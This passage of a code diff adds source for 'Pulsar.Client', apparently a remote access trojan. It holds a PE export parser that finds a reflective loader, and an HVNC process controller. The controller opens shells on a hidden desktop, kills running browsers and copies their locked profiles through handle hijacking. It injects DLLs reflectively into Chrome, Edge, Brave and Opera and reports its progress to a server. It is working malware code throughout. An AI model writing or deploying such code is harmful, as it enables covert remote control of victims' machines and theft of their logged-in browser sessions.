public uint CheckSum;
public ushort Subsystem;
public ushort DllCharacteristics;
public uint SizeOfStackReserve;
public uint SizeOfStackCommit;
public uint SizeOfHeapReserve;
public uint SizeOfHeapCommit;
public uint LoaderFlags;
public uint NumberOfRvaAndSizes;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
public IMAGE_DATA_DIRECTORY[] DataDirectory;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_OPTIONAL_HEADER64
{
public ushort Magic;
public byte MajorLinkerVersion;
public byte MinorLinkerVersion;
public uint SizeOfCode;
public uint SizeOfInitializedData;
public uint SizeOfUninitializedData;
public uint AddressOfEntryPoint;
public uint BaseOfCode;
public ulong ImageBase;
public uint SectionAlignment;
public uint FileAlignment;
public ushort MajorOperatingSystemVersion;
public ushort MinorOperatingSystemVersion;
public ushort MajorImageVersion;
public ushort MinorImageVersion;
public ushort MajorSubsystemVersion;
public ushort MinorSubsystemVersion;
public uint Win32VersionValue;
public uint SizeOfImage;
public uint SizeOfHeaders;
public uint CheckSum;
public ushort Subsystem;
public ushort DllCharacteristics;
public ulong SizeOfStackReserve;
public ulong SizeOfStackCommit;
public ulong SizeOfHeapReserve;
public ulong SizeOfHeapCommit;
public uint LoaderFlags;
public uint NumberOfRvaAndSizes;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
public IMAGE_DATA_DIRECTORY[] DataDirectory;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_SECTION_HEADER
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public byte[] Name;
public uint VirtualSize;
public uint VirtualAddress;
public uint SizeOfRawData;
public uint PointerToRawData;
public uint PointerToRelocations;
public uint PointerToLinenumbers;
public ushort NumberOfRelocations;
public ushort NumberOfLinenumbers;
public uint Characteristics;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_EXPORT_DIRECTORY
{
public uint Characteristics;
public uint TimeDateStamp;
public ushort MajorVersion;
public ushort MinorVersion;
public uint Name;
public uint Base;
public uint NumberOfFunctions;
public uint NumberOfNames;
public uint AddressOfFunctions;
public uint AddressOfNames;
public uint AddressOfNameOrdinals;
}
private const int IMAGE_DIRECTORY_ENTRY_EXPORT = 0;
private const ushort IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b;
private const ushort IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b;
#endregion PE Structures
public static uint GetReflectiveLoaderOffset(byte[] buffer)
{
try
{
int baseAddress = 0;
IMAGE_DOS_HEADER dosHeader = ByteArrayToStructure<IMAGE_DOS_HEADER>(buffer, 0);
int ntHeadersOffset = baseAddress + dosHeader.e_lfanew;
uint signature = BitConverter.ToUInt32(buffer, ntHeadersOffset);
if (signature != 0x00004550) // "PE\0\0"
return 0;
IMAGE_FILE_HEADER fileHeader = ByteArrayToStructure<IMAGE_FILE_HEADER>(buffer, ntHeadersOffset + 4);
int optionalHeaderOffset = ntHeadersOffset + 4 + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER));
ushort magic = BitConverter.ToUInt16(buffer, optionalHeaderOffset);
uint exportDirRva;
if (magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) // PE32
{
if (IntPtr.Size != 4)
return 0;
IMAGE_OPTIONAL_HEADER32 optHeader = ByteArrayToStructure<IMAGE_OPTIONAL_HEADER32>(buffer, optionalHeaderOffset);
exportDirRva = optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
}
else if (magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) // PE64
{
if (IntPtr.Size != 8)
return 0;
IMAGE_OPTIONAL_HEADER64 optHeader = ByteArrayToStructure<IMAGE_OPTIONAL_HEADER64>(buffer, optionalHeaderOffset);
exportDirRva = optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
}
else
{
return 0;
}
if (exportDirRva == 0)
return 0;
uint exportDirOffset = Rva2Offset(exportDirRva, buffer, baseAddress);
if (exportDirOffset == 0)
return 0;
IMAGE_EXPORT_DIRECTORY exportDir = ByteArrayToStructure<IMAGE_EXPORT_DIRECTORY>(buffer, (int)exportDirOffset);
uint nameArrayOffset = Rva2Offset(exportDir.AddressOfNames, buffer, baseAddress);
uint addressArrayOffset = Rva2Offset(exportDir.AddressOfFunctions, buffer, baseAddress);
uint nameOrdinalsOffset = Rva2Offset(exportDir.AddressOfNameOrdinals, buffer, baseAddress);
for (uint i = 0; i < exportDir.NumberOfNames; i++)
{
uint nameRva = BitConverter.ToUInt32(buffer, (int)(nameArrayOffset + i * 4));
uint nameOffset = Rva2Offset(nameRva, buffer, baseAddress);
string functionName = ReadNullTerminatedString(buffer, (int)nameOffset);
if (functionName.Contains("ReflectiveLoader"))
{
ushort ordinal = BitConverter.ToUInt16(buffer, (int)(nameOrdinalsOffset + i * 2));
uint functionRva = BitConverter.ToUInt32(buffer, (int)(addressArrayOffset + ordinal * 4));
return Rva2Offset(functionRva, buffer, baseAddress);
}
}
}
catch
{
return 0;
}
return 0;
}
private static uint Rva2Offset(uint dwRva, byte[] buffer, int baseAddress)
{
IMAGE_DOS_HEADER dosHeader = ByteArrayToStructure<IMAGE_DOS_HEADER>(buffer, 0);
int ntHeadersOffset = baseAddress + dosHeader.e_lfanew;
IMAGE_FILE_HEADER fileHeader = ByteArrayToStructure<IMAGE_FILE_HEADER>(buffer, ntHeadersOffset + 4);
int sectionHeaderOffset = ntHeadersOffset + 4 + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + fileHeader.SizeOfOptionalHeader;
IMAGE_SECTION_HEADER firstSection = ByteArrayToStructure<IMAGE_SECTION_HEADER>(buffer, sectionHeaderOffset);
if (dwRva < firstSection.PointerToRawData)
return dwRva;
for (int i = 0; i < fileHeader.NumberOfSections; i++)
{
IMAGE_SECTION_HEADER section = ByteArrayToStructure<IMAGE_SECTION_HEADER>(buffer, sectionHeaderOffset + i * Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER)));
if (dwRva >= section.VirtualAddress && dwRva < section.VirtualAddress + section.SizeOfRawData)
{
return dwRva - section.VirtualAddress + section.PointerToRawData;
}
}
return 0;
}
private static T ByteArrayToStructure<T>(byte[] bytes, int offset) where T : struct
{
int size = Marshal.SizeOf(typeof(T));
IntPtr ptr = Marshal.AllocHGlobal(size);
try
{
Marshal.Copy(bytes, offset, ptr, size);
return (T)Marshal.PtrToStructure(ptr, typeof(T));
}
finally
{
Marshal.FreeHGlobal(ptr);
}
}
private static string ReadNullTerminatedString(byte[] buffer, int offset)
{
int length = 0;
while (offset + length < buffer.Length && buffer[offset + length] != 0)
{
length++;
}
return Encoding.ASCII.GetString(buffer, offset, length);
}
}
}
@@ -0,0 +1,870 @@
using Microsoft.Win32;
using Pulsar.Client.Helper.HVNC.Chromium;
using Pulsar.Client.LoggingAPI;
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
using System.Threading.Tasks;
namespace Pulsar.Client.Helper.HVNC
{
public class ProcessController
{
public ProcessController(string DesktopName)
{
this.DesktopName = DesktopName;
}
[DllImport("kernel32.dll")]
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, int dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, ref PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
private const uint WAIT_OBJECT_0 = 0x00000000;
private const uint WAIT_TIMEOUT = 0x00000102;
private const uint INFINITE = 0xFFFFFFFF;
private const int STARTF_USEPOSITION = 0x00000004;
private readonly struct CloneResult
{
public CloneResult(bool success, bool cancelled, string destination)
{
Success = success;
Cancelled = cancelled;
Destination = destination ?? string.Empty;
}
public bool Success { get; }
public bool Cancelled { get; }
public string Destination { get; }
}
private static bool DeleteFolder(string folderPath)
{
bool result;
try
{
if (Directory.Exists(folderPath))
{
Directory.Delete(folderPath, true);
result = true;
}
else
{
Debug.WriteLine("Folder does not exist.");
result = false;
}
}
catch (Exception ex)
{
Debug.WriteLine("Error deleting folder: " + ex.Message);
result = false;
}
return result;
}
private void CleanupCancelledClone(string destinationDir)
{
if (string.IsNullOrWhiteSpace(destinationDir))
{
return;
}
try
{
if (Directory.Exists(destinationDir))
{
Debug.WriteLine($"[BrowserClone] Cleaning up cancelled clone at '{destinationDir}'");
DeleteFolder(destinationDir);
}
}
catch (Exception cleanupEx)
{
Debug.WriteLine($"[BrowserClone] Cleanup failed for '{destinationDir}': {cleanupEx.Message}");
}
}
public void StartCmd()
{
string path = "conhost cmd.exe";
this.CreateProc(path);
}
public void StartPowershell()
{
string path = "conhost powershell.exe";
this.CreateProc(path);
}
public void StartGeneric(string path)
{
string command = "conhost " + path;
this.CreateProc(command);
}
public async Task StartFirefoxAsync()
{
BrowserCloneProgressSession progressSession = null;
Task completionTask = Task.CompletedTask;
bool cloneSucceeded = false;
bool cloneCancelled = false;
try
{
string basePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Mozilla", "Firefox");
if (!Directory.Exists(basePath))
{
Debug.WriteLine("Firefox base directory not found.");
return;
}
string sourceDir = Path.Combine(basePath, "Profiles");
if (!Directory.Exists(sourceDir))
{
Debug.WriteLine("Firefox profiles directory not found.");
return;
}
string destination = Path.Combine(basePath, "fudasf");
if (Directory.Exists(destination))
{
DeleteFolder(destination);
}
progressSession = await BrowserCloneProgressSession.TryCreateAsync("Firefox").ConfigureAwait(false);
progressSession?.ReportPreparing();
CancellationToken cancellationToken = progressSession?.CancellationToken ?? CancellationToken.None;
try
{
cloneSucceeded = await Task.Run(() => HandleHijacker.ForceCopyDirectory(sourceDir, destination, killIfFailed: false, progressSession?.Progress, cancellationToken)).ConfigureAwait(false);
}
catch (OperationCanceledException)
{
cloneCancelled = true;
CleanupCancelledClone(destination);
}
if (cloneCancelled)
{
Debug.WriteLine("Firefox profile cloning cancelled by user skipping launch.");
}
else if (cloneSucceeded)
{
Debug.WriteLine("Firefox profile cloned successfully.");
}
else
{
Debug.WriteLine("Firefox profile cloning reported partial success; some files may be locked.");
}
bool completedSuccessfully = cloneSucceeded && !cloneCancelled;
completionTask = progressSession?.ReportCompletionAsync(completedSuccessfully) ?? Task.CompletedTask;
if (cloneCancelled)
{
return;
}
string startCommand = $"Conhost --headless cmd.exe /c start firefox --profile=\"{destination}\"";
CreateProc(startCommand);
}
catch (OperationCanceledException)
{
completionTask = progressSession?.ReportCompletionAsync(false) ?? Task.CompletedTask;
cloneCancelled = true;
Debug.WriteLine("Firefox profile cloning cancelled by user.");
}
catch (Exception ex)
{
completionTask = progressSession?.ReportCompletionAsync(false) ?? Task.CompletedTask;
Debug.WriteLine("Error starting Firefox: " + ex.Message);
}
finally
{
await completionTask.ConfigureAwait(false);
progressSession?.Dispose();
}
}
public async Task StartBraveAsync(byte[] dllbytes)
{
try
{
var braveConfig = BrowserConfiguration.GetConfig("Brave");
if (braveConfig == null || !BrowserConfiguration.ValidateConfig(braveConfig))
{
Debug.WriteLine("Brave executable not found.");
return;
}
Debug.WriteLine($"Found Brave at: {braveConfig.ExecutablePath}");
var cloneResult = await CloneBrowserProfileAsync(braveConfig.SearchPattern, braveConfig.ReplacementPath, "Brave").ConfigureAwait(false);
if (cloneResult.Cancelled)
{
Debug.WriteLine("Brave profile cloning cancelled by user skipping injection.");
return;
}
try
{
await Task.Run(() => KDOTInjector.Start(dllbytes, braveConfig.ExecutablePath, braveConfig.SearchPattern, braveConfig.ReplacementPath)).ConfigureAwait(false);
Debug.WriteLine("Brave started successfully with reflective DLL injection.");
}
catch (Exception injectionEx)
{
Debug.WriteLine($"Error during Brave DLL injection: {injectionEx.Message}");
}
}
catch (OperationCanceledException)
{
Debug.WriteLine("Brave profile cloning cancelled by user.");
}
catch (Exception ex)
{
Debug.WriteLine("Error starting Brave: " + ex.Message);
}
}
public async Task StartOperaAsync(byte[] dllbytes)
{
try
{
var operaConfig = BrowserConfiguration.GetConfig("Opera");
if (operaConfig == null || !BrowserConfiguration.ValidateConfig(operaConfig))
{
Debug.WriteLine("Opera executable not found.");
return;
}
Debug.WriteLine($"Found Opera at: {operaConfig.ExecutablePath}");
var cloneResult = await CloneBrowserProfileAsync(operaConfig.SearchPattern, operaConfig.ReplacementPath, "Opera").ConfigureAwait(false);
if (cloneResult.Cancelled)
{
Debug.WriteLine("Opera profile cloning cancelled by user skipping injection.");
return;
}
try
{
int processId = await Task.Run(() => KDOTInjector.Start(dllbytes, operaConfig.ExecutablePath, operaConfig.SearchPattern, operaConfig.ReplacementPath)).ConfigureAwait(false);
if (processId > 0)
{
Debug.WriteLine("Opera started successfully with reflective DLL injection.");
await Task.Delay(2000).ConfigureAwait(false);
_ = Task.Run(async () =>
{
try
{
await OperaPatcher.PatchOperaAsync(maxRetries: 5, delayBetweenRetries: 1000).ConfigureAwait(false);
}
catch (Exception patchEx)
{
Debug.WriteLine($"Opera patcher error: {patchEx.Message}");
}
});
}
else
{
Debug.WriteLine("Failed to start Opera process.");
}
}
catch (Exception injectionEx)
{
Debug.WriteLine($"Error during Opera DLL injection: {injectionEx.Message}");
}
}
catch (OperationCanceledException)
{
Debug.WriteLine("Opera profile cloning cancelled by user.");
}
catch (Exception ex)
{
Debug.WriteLine("Error starting Opera: " + ex.Message);
}
}
public async Task StartOperaGXAsync(byte[] dllbytes)
{
try
{
var operaGXConfig = BrowserConfiguration.GetConfig("OperaGX");
if (operaGXConfig == null || !BrowserConfiguration.ValidateConfig(operaGXConfig))
{
Debug.WriteLine("OperaGX executable not found.");
return;
}
Debug.WriteLine($"Found OperaGX at: {operaGXConfig.ExecutablePath}");
var cloneResult = await CloneBrowserProfileAsync(operaGXConfig.SearchPattern, operaGXConfig.ReplacementPath, "Opera GX").ConfigureAwait(false);
if (cloneResult.Cancelled)
{
Debug.WriteLine("OperaGX profile cloning cancelled by user skipping injection.");
return;
}
try
{
int processId = await Task.Run(() => KDOTInjector.Start(dllbytes, operaGXConfig.ExecutablePath, operaGXConfig.SearchPattern, operaGXConfig.ReplacementPath)).ConfigureAwait(false);
if (processId > 0)
{
Debug.WriteLine("OperaGX started successfully with reflective DLL injection.");
await Task.Delay(2000).ConfigureAwait(false);
_ = Task.Run(async () =>
{
try
{
await OperaPatcher.PatchOperaAsync(maxRetries: 5, delayBetweenRetries: 1000).ConfigureAwait(false);
}
catch (Exception patchEx)
{
Debug.WriteLine($"OperaGX patcher error: {patchEx.Message}");
}
});
}
else
{
Debug.WriteLine("Failed to start OperaGX process.");
}
}
catch (Exception injectionEx)
{
Debug.WriteLine($"Error during OperaGX DLL injection: {injectionEx.Message}");
}
}
catch (OperationCanceledException)
{
Debug.WriteLine("OperaGX profile cloning cancelled by user.");
}
catch (Exception ex)
{
Debug.WriteLine("Error starting OperaGX: " + ex.Message);
}
}
public async Task StartEdgeAsync(byte[] dllbytes)
{
try
{
var edgeConfig = BrowserConfiguration.GetConfig("Edge");
if (edgeConfig == null || !BrowserConfiguration.ValidateConfig(edgeConfig))
{
Debug.WriteLine("Edge executable not found.");
return;
}
Debug.WriteLine($"Found Edge at: {edgeConfig.ExecutablePath}");
var cloneResult = await CloneBrowserProfileAsync(edgeConfig.SearchPattern, edgeConfig.ReplacementPath, "Edge").ConfigureAwait(false);
if (cloneResult.Cancelled)
{
Debug.WriteLine("Edge profile cloning cancelled by user skipping injection.");
return;
}
try
{
await Task.Run(() => KDOTInjector.Start(dllbytes, edgeConfig.ExecutablePath, edgeConfig.SearchPattern, edgeConfig.ReplacementPath)).ConfigureAwait(false);
Debug.WriteLine("Edge started successfully with reflective DLL injection.");
}
catch (Exception injectionEx)
{
Debug.WriteLine($"Error during Edge DLL injection: {injectionEx.Message}");
}
}
catch (OperationCanceledException)
{
Debug.WriteLine("Edge profile cloning cancelled by user.");
}
catch (Exception ex)
{
Debug.WriteLine("Error starting Edge: " + ex.Message);
}
}
public async Task StartChromeAsync(byte[] dllbytes)
{
try
{
var chromeConfig = BrowserConfiguration.GetChromeConfig();
if (chromeConfig == null)
{
UniversalDebugLogger.SendLogToServer("Chrome executable not found.");
return;
}
UniversalDebugLogger.SendLogToServer($"Found Chrome at: {chromeConfig.ExecutablePath}");
var cloneResult = await CloneBrowserProfileAsync(chromeConfig.SearchPattern, chromeConfig.ReplacementPath, "Chrome").ConfigureAwait(false);
if (cloneResult.Cancelled)
{
UniversalDebugLogger.SendLogToServer("Chrome profile cloning cancelled by user skipping injection.");
return;
}
try
{
await Task.Run(() => KDOTInjector.Start(dllbytes, chromeConfig.ExecutablePath, chromeConfig.SearchPattern, chromeConfig.ReplacementPath)).ConfigureAwait(false);
UniversalDebugLogger.SendLogToServer("Chrome started successfully with reflective DLL injection.");
}
catch (Exception injectionEx)
{
UniversalDebugLogger.SendLogToServer($"Error during DLL injection: {injectionEx.Message}");
}
}
catch (OperationCanceledException)
{
UniversalDebugLogger.SendLogToServer("Chrome profile cloning cancelled by user.");
}
catch (Exception ex)
{
UniversalDebugLogger.SendLogToServer("Error starting Chrome: " + ex.Message);
}
}
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint ResumeThread(IntPtr hThread);
/// <summary>
/// Generic method to start any browser by type with reflective DLL injection.
/// </summary>
/// <param name="browserType">Type of browser (Chrome, Edge, Brave, Opera, OperaGX)</param>
/// <param name="dllbytes">DLL bytes to inject</param>
public async Task StartBrowserAsync(string browserType, byte[] dllbytes)
{
try
{
if (browserType.Equals("Chrome", StringComparison.OrdinalIgnoreCase))
{
await StartChromeAsync(dllbytes).ConfigureAwait(false);
return;
}
var config = BrowserConfiguration.GetConfig(browserType);
if (config == null || !BrowserConfiguration.ValidateConfig(config))
{
Debug.WriteLine($"{browserType} executable not found.");
return;
}
Debug.WriteLine($"Found {browserType} at: {config.ExecutablePath}");
string processName = Path.GetFileNameWithoutExtension(config.ExecutablePath).ToLower();
string killCommand = $"Conhost --headless cmd.exe /c taskkill /IM {processName}.exe /F";
STARTUPINFO startupInfo = default(STARTUPINFO);
startupInfo.cb = Marshal.SizeOf<STARTUPINFO>(startupInfo);
startupInfo.lpDesktop = this.DesktopName;
startupInfo.dwX = 0;
startupInfo.dwY = 0;
startupInfo.dwFlags = STARTF_USEPOSITION;
PROCESS_INFORMATION processInfo = default(PROCESS_INFORMATION);
if (CreateProcess(null, killCommand, IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref startupInfo, ref processInfo))
{
Debug.WriteLine($"Waiting for {browserType} processes to terminate...");
WaitForProcessCompletion(processInfo, 5000);
}
else
{
Debug.WriteLine("Failed to create taskkill process, using fallback delay.");
await Task.Delay(500).ConfigureAwait(false);
}
var cloneResult = await CloneBrowserProfileAsync(config.SearchPattern, config.ReplacementPath, browserType).ConfigureAwait(false);
if (cloneResult.Cancelled)
{
Debug.WriteLine($"{browserType} profile cloning cancelled by user skipping injection.");
return;
}
try
{
int processId = await Task.Run(() => KDOTInjector.Start(dllbytes, config.ExecutablePath, config.SearchPattern, config.ReplacementPath)).ConfigureAwait(false);
if (processId > 0)
{
Debug.WriteLine($"{browserType} started successfully with reflective DLL injection.");
if (browserType.Equals("Opera", StringComparison.OrdinalIgnoreCase) ||
browserType.Equals("OperaGX", StringComparison.OrdinalIgnoreCase))
{
await Task.Delay(2000).ConfigureAwait(false);
_ = Task.Run(async () =>
{
try
{
await OperaPatcher.PatchOperaAsync(maxRetries: 5, delayBetweenRetries: 1000).ConfigureAwait(false);
}
catch (Exception patchEx)
{
Debug.WriteLine($"{browserType} patcher error: {patchEx.Message}");
}
});
}
}
else
{
Debug.WriteLine($"Failed to start {browserType} process.");
}
}
catch (Exception injectionEx)
{
Debug.WriteLine($"Error during {browserType} DLL injection: {injectionEx.Message}");
}
}
catch (OperationCanceledException)
{
Debug.WriteLine($"{browserType} profile cloning cancelled by user.");
}
catch (Exception ex)
{
Debug.WriteLine($"Error starting {browserType}: {ex.Message}");
}
}
public bool CreateProc(string filePath)
{
STARTUPINFO structure = default(STARTUPINFO);
structure.cb = Marshal.SizeOf<STARTUPINFO>(structure);
structure.lpDesktop = this.DesktopName;
// try setting position to 0,0
structure.dwX = 0;
structure.dwY = 0;
structure.dwFlags = STARTF_USEPOSITION;
PROCESS_INFORMATION process_INFORMATION = default(PROCESS_INFORMATION);
return CreateProcess(null, filePath, IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref structure, ref process_INFORMATION);
}
public void StartDiscord()
{
string discordPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Discord\\Update.exe";
if (!File.Exists(discordPath)) return;
string killCommand = "Conhost --headless cmd.exe /c taskkill /IM discord.exe /F";
this.CreateProc(killCommand);
Thread.Sleep(1000);
string startCommand = "\"" + discordPath + "\" --processStart Discord.exe";
this.CreateProc(startCommand);
}
public void StartExplorer()
{
uint num = 2U;
string name = "TaskbarGlomLevel";
string name2 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced";
using (RegistryKey registryKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(name2, true))
{
if (registryKey != null)
{
object value = registryKey.GetValue(name);
if (value is uint)
{
uint num2 = (uint)value;
if (num2 != num)
{
registryKey.SetValue(name, num, RegistryValueKind.DWord);
}
}
}
}
string explorerPath = Environment.GetFolderPath(Environment.SpecialFolder.Windows) + "\\explorer.exe /NoUACCheck";
this.CreateProc(explorerPath);
}
/// <summary>
/// Clones browser profile from SearchPattern to ReplacementPath.
/// Executes on a background thread to avoid blocking message processing.
/// </summary>
/// <param name="searchPattern">Relative path pattern (e.g., "Local\Google\Chrome\User Data")</param>
/// <param name="replacementPath">Relative path for destination (e.g., "Local\Google\Chrome\KDOT")</param>
private async Task<CloneResult> CloneBrowserProfileAsync(string searchPattern, string replacementPath, string browserName = null)
{
BrowserCloneProgressSession progressSession = null;
Task completionTask = Task.CompletedTask;
CloneResult cloneResult = default;
try
{
progressSession = await BrowserCloneProgressSession.TryCreateAsync(browserName).ConfigureAwait(false);
progressSession?.ReportPreparing();
CancellationToken cancellationToken = progressSession?.CancellationToken ?? CancellationToken.None;
cloneResult = await Task.Run(() => CloneBrowserProfileInternal(
searchPattern,
replacementPath,
cancellationToken,
progressSession?.Progress)).ConfigureAwait(false);
bool completedSuccessfully = cloneResult.Success && !cloneResult.Cancelled;
completionTask = progressSession?.ReportCompletionAsync(completedSuccessfully) ?? Task.CompletedTask;
return cloneResult;
}
catch
{
completionTask = progressSession?.ReportCompletionAsync(false) ?? Task.CompletedTask;
throw;
}
finally
{
await completionTask.ConfigureAwait(false);
progressSession?.Dispose();
}
}
private CloneResult CloneBrowserProfileInternal(
string searchPattern,
string replacementPath,
CancellationToken cancellationToken,
IProgress<BrowserCloneProgress> progress)
{
string localSearch = searchPattern;
string localReplacement = replacementPath;
string baseDir;
if (localSearch.StartsWith("Local\\", StringComparison.OrdinalIgnoreCase))
{
baseDir = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
localSearch = localSearch.Substring(6);
localReplacement = localReplacement.Substring(6);
}
else if (localSearch.StartsWith("Roaming\\", StringComparison.OrdinalIgnoreCase))
{
baseDir = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
localSearch = localSearch.Substring(8);
localReplacement = localReplacement.Substring(8);
}
else
{
Debug.WriteLine($"Invalid search pattern format: {localSearch}");
return new CloneResult(false, false, string.Empty);
}
string sourceDir = Path.Combine(baseDir, localSearch);
string destDir = Path.Combine(baseDir, localReplacement);
try
{
cancellationToken.ThrowIfCancellationRequested();
UniversalDebugLogger.SendLogToServer($"Cloning browser profile from '{sourceDir}' to '{destDir}'");
if (!Directory.Exists(sourceDir))
{
UniversalDebugLogger.SendLogToServer($"Source directory does not exist: {sourceDir}");
return new CloneResult(false, false, destDir);
}
if (Directory.Exists(destDir))
{
UniversalDebugLogger.SendLogToServer($"Removing existing destination directory: {destDir}");
DeleteFolder(destDir);
}
cancellationToken.ThrowIfCancellationRequested();
UniversalDebugLogger.SendLogToServer("[BrowserClone] Using handle hijacking for locked files...");
bool success = HandleHijacker.ForceCopyDirectory(
sourceDir,
destDir,
killIfFailed: false,
progress,
cancellationToken);
if (success)
{
UniversalDebugLogger.SendLogToServer("[BrowserClone] Browser profile cloned successfully with handle hijacking.");
}
else
{
UniversalDebugLogger.SendLogToServer("[BrowserClone] Handle hijacking partial success, some files may be skipped.");
}
return new CloneResult(success, false, destDir);
}
catch (OperationCanceledException)
{
UniversalDebugLogger.SendLogToServer("[BrowserClone] Operation cancelled by user.");
CleanupCancelledClone(destDir);
return new CloneResult(false, true, destDir);
}
catch (Exception ex)
{
UniversalDebugLogger.SendLogToServer($"Error cloning browser profile: {ex.Message}");
CleanupCancelledClone(destDir);
throw;
}
}
/// <summary>
/// Waits for a process to complete with a timeout
/// </summary>
/// <param name="processInfo">Process information structure</param>
/// <param name="timeoutMs">Timeout in milliseconds (default 5000ms)</param>
/// <returns>True if process completed within timeout, false otherwise</returns>
private bool WaitForProcessCompletion(PROCESS_INFORMATION processInfo, uint timeoutMs = 5000)
{
try
{
if (processInfo.hProcess == IntPtr.Zero)
return false;
uint result = WaitForSingleObject(processInfo.hProcess, timeoutMs);
CloseHandle(processInfo.hProcess);
CloseHandle(processInfo.hThread);
return result == WAIT_OBJECT_0;
}
catch (Exception ex)
{
Debug.WriteLine($"Error waiting for process: {ex.Message}");
return false;
}
}
public async Task StartGenericChromiumAsync(byte[] dllbytes, string browserPath, string searchPattern, string replacementPath)
{
try
{
if (string.IsNullOrWhiteSpace(browserPath) || !File.Exists(browserPath))
{
UniversalDebugLogger.SendLogToServer($"Generic Chromium browser executable not found at: {browserPath}");
return;
}
if (string.IsNullOrWhiteSpace(searchPattern) || string.IsNullOrWhiteSpace(replacementPath))
{
UniversalDebugLogger.SendLogToServer("Search pattern and replacement path are required for generic Chromium browser.");
return;
}
UniversalDebugLogger.SendLogToServer($"Starting Generic Chromium Browser: {browserPath}");
UniversalDebugLogger.SendLogToServer($"Search Pattern: {searchPattern}");
UniversalDebugLogger.SendLogToServer($"Replacement Path: {replacementPath}");
string processName = Path.GetFileNameWithoutExtension(browserPath);
string killCommand = $"Conhost --headless cmd.exe /c taskkill /IM {processName}.exe /F";
STARTUPINFO startupInfo = default(STARTUPINFO);
startupInfo.cb = Marshal.SizeOf<STARTUPINFO>(startupInfo);
startupInfo.lpDesktop = this.DesktopName;
startupInfo.dwX = 0;
startupInfo.dwY = 0;
startupInfo.dwFlags = STARTF_USEPOSITION;
PROCESS_INFORMATION processInfo = default(PROCESS_INFORMATION);
UniversalDebugLogger.SendLogToServer($"Killing any existing {processName}.exe processes...");
if (CreateProcess(null, killCommand, IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref startupInfo, ref processInfo))
{
UniversalDebugLogger.SendLogToServer($"Waiting for {processName}.exe processes to terminate...");
WaitForProcessCompletion(processInfo, 5000);
}
else
{
UniversalDebugLogger.SendLogToServer("Failed to create taskkill process, using fallback delay.");
await Task.Delay(500).ConfigureAwait(false);
}
string friendlyName = Path.GetFileNameWithoutExtension(browserPath);
if (string.IsNullOrWhiteSpace(friendlyName))
{
friendlyName = "Chromium";
}
var cloneResult = await CloneBrowserProfileAsync(searchPattern, replacementPath, friendlyName).ConfigureAwait(false);
if (cloneResult.Cancelled)
{
UniversalDebugLogger.SendLogToServer("Generic Chromium profile cloning cancelled by user skipping injection.");
return;
}
try
{
await Task.Run(() => KDOTInjector.Start(dllbytes, browserPath, searchPattern, replacementPath)).ConfigureAwait(false);
UniversalDebugLogger.SendLogToServer($"Generic Chromium browser started successfully with reflective DLL injection.");
}
catch (Exception injectionEx)
{
UniversalDebugLogger.SendLogToServer($"Error during generic Chromium DLL injection: {injectionEx.Message}");
}
}
catch (OperationCanceledException)
{
UniversalDebugLogger.SendLogToServer("Generic Chromium profile cloning cancelled by user.");
}
catch (Exception ex)
{
UniversalDebugLogger.SendLogToServer($"Error starting generic Chromium browser: {ex.Message}");
}
}
private string DesktopName;
private struct STARTUPINFO
{
public int cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public int dwX;
public int dwY;
public int dwXSize;
public int dwYSize;
public int dwXCountChars;
public int dwYCountChars;
public int dwFillAttribute;
public int dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
}
}
+46
View File
@@ -0,0 +1,46 @@
using System.IO;
using System.Runtime.Serialization.Json;
using System.Text;
namespace Pulsar.Client.Helper
{
/// <summary>
/// Provides methods to serialize and deserialize JSON.
/// </summary>
public static class JsonHelper
{
/// <summary>
/// Serializes an object to the respectable JSON string.
/// </summary>
public static string Serialize<T>(T o)
{
var s = new DataContractJsonSerializer(typeof(T));
using (var ms = new MemoryStream())
{
s.WriteObject(ms, o);
return Encoding.UTF8.GetString(ms.ToArray());
}
}
/// <summary>
/// Deserializes a JSON string to the specified object.
/// </summary>
public static T Deserialize<T>(string json)
{
var s = new DataContractJsonSerializer(typeof(T));
using (var ms = new MemoryStream(Encoding.UTF8.GetBytes(json)))
{
return (T)s.ReadObject(ms);
}
}
/// <summary>
/// Deserializes a JSON stream to the specified object.
/// </summary>
public static T Deserialize<T>(Stream stream)
{
var s = new DataContractJsonSerializer(typeof(T));
